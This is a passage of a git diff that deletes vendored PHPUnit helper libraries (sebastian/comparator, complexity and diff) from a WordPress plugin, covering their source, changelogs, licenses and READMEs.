- { - foreach ($actual as $object) { - if (!$expected->contains($object)) { - throw new ComparisonFailure( - $expected, - $actual, - $this->exporter->export($expected), - $this->exporter->export($actual), - false, - 'Failed asserting that two objects are equal.' - ); - } - } - - foreach ($expected as $object) { - if (!$actual->contains($object)) { - throw new ComparisonFailure( - $expected, - $actual, - $this->exporter->export($expected), - $this->exporter->export($actual), - false, - 'Failed asserting that two objects are equal.' - ); - } - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/TypeComparator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/TypeComparator.php deleted file mode 100644 index b0d38d72..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/TypeComparator.php +++ /dev/null @@ -1,62 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use function gettype; -use function sprintf; - -/** - * Compares values for type equality. - */ -class TypeComparator extends Comparator -{ - /** - * Returns whether the comparator can compare two values. - * - * @param mixed $expected The first value to compare - * @param mixed $actual The second value to compare - * - * @return bool - */ - public function accepts($expected, $actual) - { - return true; - } - - /** - * Asserts that two values are equal. - * - * @param mixed $expected First value to compare - * @param mixed $actual Second value to compare - * @param float $delta Allowed numerical distance between two values to consider them equal - * @param bool $canonicalize Arrays are sorted before comparison when set to true - * @param bool $ignoreCase Case is ignored when set to true - * - * @throws ComparisonFailure - */ - public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false)/*: void*/ - { - if (gettype($expected) != gettype($actual)) { - throw new ComparisonFailure( - $expected, - $actual, - // we don't need a diff - '', - '', - false, - sprintf( - '%s does not match expected type "%s".', - $this->exporter->shortenedExport($actual), - gettype($expected) - ) - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/exceptions/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/exceptions/Exception.php deleted file mode 100644 index 8975aaf1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/exceptions/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/exceptions/RuntimeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/exceptions/RuntimeException.php deleted file mode 100644 index ca726084..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/exceptions/RuntimeException.php +++ /dev/null @@ -1,14 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Comparator; - -final class RuntimeException extends \RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/.psalm/baseline.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/.psalm/baseline.xml deleted file mode 100644 index 77e688e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/.psalm/baseline.xml +++ /dev/null @@ -1,2 +0,0 @@ - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/.psalm/config.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/.psalm/config.xml deleted file mode 100644 index 8172fe15..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/.psalm/config.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/ChangeLog.md deleted file mode 100644 index 51deba71..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/ChangeLog.md +++ /dev/null @@ -1,37 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. - -## [2.0.3] - 2023-12-22 - -### Changed - -* This component is now compatible with `nikic/php-parser` 5.0 - -## [2.0.2] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\Complexity\Exception` now correctly extends `\Throwable` - -## [2.0.1] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [2.0.0] - 2020-07-25 - -### Removed - -* The `ParentConnectingVisitor` has been removed (it should have been marked as `@internal`) - -## [1.0.0] - 2020-07-22 - -* Initial release - -[2.0.3]: https://github.com/sebastianbergmann/complexity/compare/2.0.2...2.0.3 -[2.0.2]: https://github.com/sebastianbergmann/complexity/compare/2.0.1...2.0.2 -[2.0.1]: https://github.com/sebastianbergmann/complexity/compare/2.0.0...2.0.1 -[2.0.0]: https://github.com/sebastianbergmann/complexity/compare/1.0.0...2.0.0 -[1.0.0]: https://github.com/sebastianbergmann/complexity/compare/70ee0ad32d9e2be3f85beffa3e2eb474193f2487...1.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/LICENSE deleted file mode 100644 index 5f818df6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -sebastian/complexity - -Copyright (c) 2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/README.md deleted file mode 100644 index 5f53b0b5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/README.md +++ /dev/null @@ -1,22 +0,0 @@ -# sebastian/complexity - -Library for calculating the complexity of PHP code units. - -[![Latest Stable Version](https://img.shields.io/packagist/v/sebastian/complexity.svg?style=flat-square)](https://packagist.org/packages/sebastian/complexity) -[![Minimum PHP Version](https://img.shields.io/badge/php-%3E%3D%207.3-8892BF.svg?style=flat-square)](https://php.net/) -[![CI Status](https://github.com/sebastianbergmann/complexity/workflows/CI/badge.svg?branch=master&event=push)](https://phpunit.de/build-status.html) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/complexity/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/complexity) - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/complexity -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/complexity -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/composer.json deleted file mode 100644 index 592e4185..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/composer.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "name": "sebastian/complexity", - "description": "Library for calculating the complexity of PHP code units", - "type": "library", - "homepage": "https://github.com/sebastianbergmann/complexity", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "support": { - "issues": "https://github.com/sebastianbergmann/complexity/issues" - }, - "prefer-stable": true, - "require": { - "php": ">=7.3", - "nikic/php-parser": "^4.18 || ^5.0" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Calculator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Calculator.php deleted file mode 100644 index f5381903..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Calculator.php +++ /dev/null @@ -1,81 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Complexity; - -use PhpParser\Error; -use PhpParser\Node; -use PhpParser\NodeTraverser; -use PhpParser\NodeVisitor\NameResolver; -use PhpParser\NodeVisitor\ParentConnectingVisitor; -use PhpParser\ParserFactory; - -final class Calculator -{ - /** - * @throws RuntimeException - */ - public function calculateForSourceFile(string $sourceFile): ComplexityCollection - { - return $this->calculateForSourceString(file_get_contents($sourceFile)); - } - - /** - * @throws RuntimeException - */ - public function calculateForSourceString(string $source): ComplexityCollection - { - try { - $nodes = (new ParserFactory)->createForHostVersion()->parse($source); - - assert($nodes !== null); - - return $this->calculateForAbstractSyntaxTree($nodes); - - // @codeCoverageIgnoreStart - } catch (Error $error) { - throw new RuntimeException( - $error->getMessage(), - (int) $error->getCode(), - $error - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @param Node[] $nodes - * - * @throws RuntimeException - */ - public function calculateForAbstractSyntaxTree(array $nodes): ComplexityCollection - { - $traverser = new NodeTraverser; - $complexityCalculatingVisitor = new ComplexityCalculatingVisitor(true); - - $traverser->addVisitor(new NameResolver); - $traverser->addVisitor(new ParentConnectingVisitor); - $traverser->addVisitor($complexityCalculatingVisitor); - - try { - /* @noinspection UnusedFunctionResultInspection */ - $traverser->traverse($nodes); - // @codeCoverageIgnoreStart - } catch (Error $error) { - throw new RuntimeException( - $error->getMessage(), - (int) $error->getCode(), - $error - ); - } - // @codeCoverageIgnoreEnd - - return $complexityCalculatingVisitor->result(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Complexity/Complexity.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Complexity/Complexity.php deleted file mode 100644 index dc6708dd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Complexity/Complexity.php +++ /dev/null @@ -1,42 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Complexity; - -/** - * @psalm-immutable - */ -final class Complexity -{ - /** - * @var string - */ - private $name; - - /** - * @var int - */ - private $cyclomaticComplexity; - - public function __construct(string $name, int $cyclomaticComplexity) - { - $this->name = $name; - $this->cyclomaticComplexity = $cyclomaticComplexity; - } - - public function name(): string - { - return $this->name; - } - - public function cyclomaticComplexity(): int - { - return $this->cyclomaticComplexity; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Complexity/ComplexityCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Complexity/ComplexityCollection.php deleted file mode 100644 index ccbddbf7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Complexity/ComplexityCollection.php +++ /dev/null @@ -1,72 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Complexity; - -use function count; -use Countable; -use IteratorAggregate; - -/** - * @psalm-immutable - */ -final class ComplexityCollection implements Countable, IteratorAggregate -{ - /** - * @psalm-var list - */ - private $items = []; - - public static function fromList(Complexity ...$items): self - { - return new self($items); - } - - /** - * @psalm-param list $items - */ - private function __construct(array $items) - { - $this->items = $items; - } - - /** - * @psalm-return list - */ - public function asArray(): array - { - return $this->items; - } - - public function getIterator(): ComplexityCollectionIterator - { - return new ComplexityCollectionIterator($this); - } - - public function count(): int - { - return count($this->items); - } - - public function isEmpty(): bool - { - return empty($this->items); - } - - public function cyclomaticComplexity(): int - { - $cyclomaticComplexity = 0; - - foreach ($this as $item) { - $cyclomaticComplexity += $item->cyclomaticComplexity(); - } - - return $cyclomaticComplexity; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Complexity/ComplexityCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Complexity/ComplexityCollectionIterator.php deleted file mode 100644 index ec39e199..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Complexity/ComplexityCollectionIterator.php +++ /dev/null @@ -1,55 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Complexity; - -use Iterator; - -final class ComplexityCollectionIterator implements Iterator -{ - /** - * @psalm-var list - */ - private $items; - - /** - * @var int - */ - private $position = 0; - - public function __construct(ComplexityCollection $items) - { - $this->items = $items->asArray(); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return isset($this->items[$this->position]); - } - - public function key(): int - { - return $this->position; - } - - public function current(): Complexity - { - return $this->items[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Exception/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Exception/Exception.php deleted file mode 100644 index 897ecdcf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Exception/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Complexity; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Exception/RuntimeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Exception/RuntimeException.php deleted file mode 100644 index 6c68a6f0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Exception/RuntimeException.php +++ /dev/null @@ -1,14 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Complexity; - -final class RuntimeException extends \RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Visitor/ComplexityCalculatingVisitor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Visitor/ComplexityCalculatingVisitor.php deleted file mode 100644 index b69f2b09..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Visitor/ComplexityCalculatingVisitor.php +++ /dev/null @@ -1,109 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Complexity; - -use function assert; -use function is_array; -use PhpParser\Node; -use PhpParser\Node\Name; -use PhpParser\Node\Stmt; -use PhpParser\Node\Stmt\Class_; -use PhpParser\Node\Stmt\ClassMethod; -use PhpParser\Node\Stmt\Function_; -use PhpParser\Node\Stmt\Trait_; -use PhpParser\NodeTraverser; -use PhpParser\NodeVisitorAbstract; - -final class ComplexityCalculatingVisitor extends NodeVisitorAbstract -{ - /** - * @psalm-var list - */ - private $result = []; - - /** - * @var bool - */ - private $shortCircuitTraversal; - - public function __construct(bool $shortCircuitTraversal) - { - $this->shortCircuitTraversal = $shortCircuitTraversal; - } - - public function enterNode(Node $node): ?int - { - if (!$node instanceof ClassMethod && !$node instanceof Function_) { - return null; - } - - if ($node instanceof ClassMethod) { - $name = $this->classMethodName($node); - } else { - $name = $this->functionName($node); - } - - $statements = $node->getStmts(); - - assert(is_array($statements)); - - $this->result[] = new Complexity( - $name, - $this->cyclomaticComplexity($statements) - ); - - if ($this->shortCircuitTraversal) { - return NodeTraverser::DONT_TRAVERSE_CHILDREN; - } - - return null; - } - - public function result(): ComplexityCollection - { - return ComplexityCollection::fromList(...$this->result); - } - - /** - * @param Stmt[] $statements - */ - private function cyclomaticComplexity(array $statements): int - { - $traverser = new NodeTraverser; - - $cyclomaticComplexityCalculatingVisitor = new CyclomaticComplexityCalculatingVisitor; - - $traverser->addVisitor($cyclomaticComplexityCalculatingVisitor); - - /* @noinspection UnusedFunctionResultInspection */ - $traverser->traverse($statements); - - return $cyclomaticComplexityCalculatingVisitor->cyclomaticComplexity(); - } - - private function classMethodName(ClassMethod $node): string - { - $parent = $node->getAttribute('parent'); - - assert($parent instanceof Class_ || $parent instanceof Trait_); - assert(isset($parent->namespacedName)); - assert($parent->namespacedName instanceof Name); - - return $parent->namespacedName->toString() . '::' . $node->name->toString(); - } - - private function functionName(Function_ $node): string - { - assert(isset($node->namespacedName)); - assert($node->namespacedName instanceof Name); - - return $node->namespacedName->toString(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Visitor/CyclomaticComplexityCalculatingVisitor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Visitor/CyclomaticComplexityCalculatingVisitor.php deleted file mode 100644 index d4430876..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Visitor/CyclomaticComplexityCalculatingVisitor.php +++ /dev/null @@ -1,59 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Complexity; - -use function get_class; -use PhpParser\Node; -use PhpParser\Node\Expr\BinaryOp\BooleanAnd; -use PhpParser\Node\Expr\BinaryOp\BooleanOr; -use PhpParser\Node\Expr\BinaryOp\LogicalAnd; -use PhpParser\Node\Expr\BinaryOp\LogicalOr; -use PhpParser\Node\Expr\Ternary; -use PhpParser\Node\Stmt\Case_; -use PhpParser\Node\Stmt\Catch_; -use PhpParser\Node\Stmt\ElseIf_; -use PhpParser\Node\Stmt\For_; -use PhpParser\Node\Stmt\Foreach_; -use PhpParser\Node\Stmt\If_; -use PhpParser\Node\Stmt\While_; -use PhpParser\NodeVisitorAbstract; - -final class CyclomaticComplexityCalculatingVisitor extends NodeVisitorAbstract -{ - /** - * @var int - */ - private $cyclomaticComplexity = 1; - - public function enterNode(Node $node): void - { - /* @noinspection GetClassMissUseInspection */ - switch (get_class($node)) { - case BooleanAnd::class: - case BooleanOr::class: - case Case_::class: - case Catch_::class: - case ElseIf_::class: - case For_::class: - case Foreach_::class: - case If_::class: - case LogicalAnd::class: - case LogicalOr::class: - case Ternary::class: - case While_::class: - $this->cyclomaticComplexity++; - } - } - - public function cyclomaticComplexity(): int - { - return $this->cyclomaticComplexity; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/ChangeLog.md deleted file mode 100644 index e62d8f95..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/ChangeLog.md +++ /dev/null @@ -1,103 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [4.0.6] - 2024-03-02 - -### Changed - -* Do not use implicitly nullable parameters - -## [4.0.5] - 2023-05-07 - -### Changed - -* [#118](https://github.com/sebastianbergmann/diff/pull/118): Improve performance of `MemoryEfficientLongestCommonSubsequenceCalculator` -* [#119](https://github.com/sebastianbergmann/diff/pull/119): Improve performance of `TimeEfficientLongestCommonSubsequenceCalculator` - -## [4.0.4] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\Diff\Exception` now correctly extends `\Throwable` - -## [4.0.3] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [4.0.2] - 2020-06-30 - -### Added - -* This component is now supported on PHP 8 - -## [4.0.1] - 2020-05-08 - -### Fixed - -* [#99](https://github.com/sebastianbergmann/diff/pull/99): Regression in unified diff output of identical strings - -## [4.0.0] - 2020-02-07 - -### Removed - -* Removed support for PHP 7.1 and PHP 7.2 - -## [3.0.2] - 2019-02-04 - -### Changed - -* `Chunk::setLines()` now ensures that the `$lines` array only contains `Line` objects - -## [3.0.1] - 2018-06-10 - -### Fixed - -* Removed `"minimum-stability": "dev",` from `composer.json` - -## [3.0.0] - 2018-02-01 - -* The `StrictUnifiedDiffOutputBuilder` implementation of the `DiffOutputBuilderInterface` was added - -### Changed - -* The default `DiffOutputBuilderInterface` implementation now generates context lines (unchanged lines) - -### Removed - -* Removed support for PHP 7.0 - -### Fixed - -* [#70](https://github.com/sebastianbergmann/diff/issues/70): Diffing of arrays no longer works - -## [2.0.1] - 2017-08-03 - -### Fixed - -* [#66](https://github.com/sebastianbergmann/diff/pull/66): Restored backwards compatibility for PHPUnit 6.1.4, 6.2.0, 6.2.1, 6.2.2, and 6.2.3 - -## [2.0.0] - 2017-07-11 [YANKED] - -### Added - -* [#64](https://github.com/sebastianbergmann/diff/pull/64): Show line numbers for chunks of a diff - -### Removed - -* This component is no longer supported on PHP 5.6 - -[4.0.6]: https://github.com/sebastianbergmann/diff/compare/4.0.5...4.0.6 -[4.0.5]: https://github.com/sebastianbergmann/diff/compare/4.0.4...4.0.5 -[4.0.4]: https://github.com/sebastianbergmann/diff/compare/4.0.3...4.0.4 -[4.0.3]: https://github.com/sebastianbergmann/diff/compare/4.0.2...4.0.3 -[4.0.2]: https://github.com/sebastianbergmann/diff/compare/4.0.1...4.0.2 -[4.0.1]: https://github.com/sebastianbergmann/diff/compare/4.0.0...4.0.1 -[4.0.0]: https://github.com/sebastianbergmann/diff/compare/3.0.2...4.0.0 -[3.0.2]: https://github.com/sebastianbergmann/diff/compare/3.0.1...3.0.2 -[3.0.1]: https://github.com/sebastianbergmann/diff/compare/3.0.0...3.0.1 -[3.0.0]: https://github.com/sebastianbergmann/diff/compare/2.0...3.0.0 -[2.0.1]: https://github.com/sebastianbergmann/diff/compare/c341c98ce083db77f896a0aa64f5ee7652915970...2.0.1 -[2.0.0]: https://github.com/sebastianbergmann/diff/compare/1.4...c341c98ce083db77f896a0aa64f5ee7652915970 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/LICENSE deleted file mode 100644 index f22f31cf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -sebastian/diff - -Copyright (c) 2002-2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/README.md deleted file mode 100644 index 734b852d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/README.md +++ /dev/null @@ -1,202 +0,0 @@ -# sebastian/diff - -[![CI Status](https://github.com/sebastianbergmann/diff/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/diff/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/diff/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/diff) - -Diff implementation for PHP, factored out of PHPUnit into a stand-alone component. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/diff -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/diff -``` - -### Usage - -#### Generating diff - -The `Differ` class can be used to generate a textual representation of the difference between two strings: - -```php -diff('foo', 'bar'); -``` - -The code above yields the output below: -```diff ---- Original -+++ New -@@ @@ --foo -+bar -``` - -There are three output builders available in this package: - -#### UnifiedDiffOutputBuilder - -This is default builder, which generates the output close to udiff and is used by PHPUnit. - -```php -diff('foo', 'bar'); -``` - -#### StrictUnifiedDiffOutputBuilder - -Generates (strict) Unified diff's (unidiffs) with hunks, -similar to `diff -u` and compatible with `patch` and `git apply`. - -```php - true, // ranges of length one are rendered with the trailing `,1` - 'commonLineThreshold' => 6, // number of same lines before ending a new hunk and creating a new one (if needed) - 'contextLines' => 3, // like `diff: -u, -U NUM, --unified[=NUM]`, for patch/git apply compatibility best to keep at least @ 3 - 'fromFile' => null, - 'fromFileDate' => null, - 'toFile' => null, - 'toFileDate' => null, -]); - -$differ = new Differ($builder); -print $differ->diff('foo', 'bar'); -``` - -#### DiffOnlyOutputBuilder - -Output only the lines that differ. - -```php -diff('foo', 'bar'); -``` - -#### DiffOutputBuilderInterface - -You can pass any output builder to the `Differ` class as longs as it implements the `DiffOutputBuilderInterface`. - -#### Parsing diff - -The `Parser` class can be used to parse a unified diff into an object graph: - -```php -use SebastianBergmann\Diff\Parser; -use SebastianBergmann\Git; - -$git = new Git('/usr/local/src/money'); - -$diff = $git->getDiff( - '948a1a07768d8edd10dcefa8315c1cbeffb31833', - 'c07a373d2399f3e686234c4f7f088d635eb9641b' -); - -$parser = new Parser; - -print_r($parser->parse($diff)); -``` - -The code above yields the output below: - - Array - ( - [0] => SebastianBergmann\Diff\Diff Object - ( - [from:SebastianBergmann\Diff\Diff:private] => a/tests/MoneyTest.php - [to:SebastianBergmann\Diff\Diff:private] => b/tests/MoneyTest.php - [chunks:SebastianBergmann\Diff\Diff:private] => Array - ( - [0] => SebastianBergmann\Diff\Chunk Object - ( - [start:SebastianBergmann\Diff\Chunk:private] => 87 - [startRange:SebastianBergmann\Diff\Chunk:private] => 7 - [end:SebastianBergmann\Diff\Chunk:private] => 87 - [endRange:SebastianBergmann\Diff\Chunk:private] => 7 - [lines:SebastianBergmann\Diff\Chunk:private] => Array - ( - [0] => SebastianBergmann\Diff\Line Object - ( - [type:SebastianBergmann\Diff\Line:private] => 3 - [content:SebastianBergmann\Diff\Line:private] => * @covers SebastianBergmann\Money\Money::add - ) - - [1] => SebastianBergmann\Diff\Line Object - ( - [type:SebastianBergmann\Diff\Line:private] => 3 - [content:SebastianBergmann\Diff\Line:private] => * @covers 